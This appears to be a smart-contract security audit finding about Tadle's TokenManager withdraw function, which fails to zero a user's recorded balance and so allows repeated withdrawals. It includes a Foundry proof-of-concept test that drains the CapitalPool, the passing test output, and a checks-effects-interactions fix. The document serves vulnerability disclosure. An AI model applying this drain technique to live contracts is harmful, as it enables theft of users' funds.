Summary
TokenManager::withdraw don't update the user balance mapping , which allows users to claim balance multiple times
Vulnerability Details
Relevant Code
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
@>
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
@>
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
We can see that function checks the claimable balance for caller from mapping userTokenBalanceMap and allows withdrawal accordingly, which seems right at first glance.
However issues arises, as it do not update the mapping before issuing withdrawal to user. Keeping there balance on mapping unchanged, which allows them to call withdraw function again and again as long as CapitalPool has enough balance.
POC
In existing test suite, add following test
function test_withdraw_vulnerability() public {
address[] memory users = new address[](3);
users[0] = user;
users[1] = user1;
users[2] = user2;
uint256 offerAmount = 1.2 * 1e18;
for (uint i = 0; i < users.length; i++) {
deal(address(mockUSDCToken), users[i], offerAmount);
vm.startPrank(users[i]);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
}
vm.prank(users[0]);
preMarktes.closeOffer(
GenerateAddress.generateStockAddress(0),
GenerateAddress.generateOfferAddress(0)
);
uint256 initialBalance = mockUSDCToken.balanceOf(users[0]);
uint256 withdrawnAmount = 0;
uint256 claimableAmount = tokenManager.userTokenBalanceMap(
users[0],
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
capitalPool.approve(address(mockUSDCToken));
while (mockUSDCToken.balanceOf(address(capitalPool)) > 0) {
vm.prank(users[0]);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
uint256 newBalance = mockUSDCToken.balanceOf(users[0]);
withdrawnAmount += newBalance - initialBalance;
initialBalance = newBalance;
}
assertGt(
withdrawnAmount,
claimableAmount,
"User shouldn't be able to withdraw more than their deposit"
);
assertEq(
mockUSDCToken.balanceOf(address(capitalPool)),
0,
"CapitalPool should be drained"
);
}
run forge test --mt test_withdraw_vulnerability -vv in your terminal and it should show following output.
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_withdraw_vulnerability() (gas: 1617325)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.43ms (1.62ms CPU time)
Impact
Loss of funds for legit users
Tools Used
Manual Review
Recommendations
Follow CEI pattern to avoid such issue.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
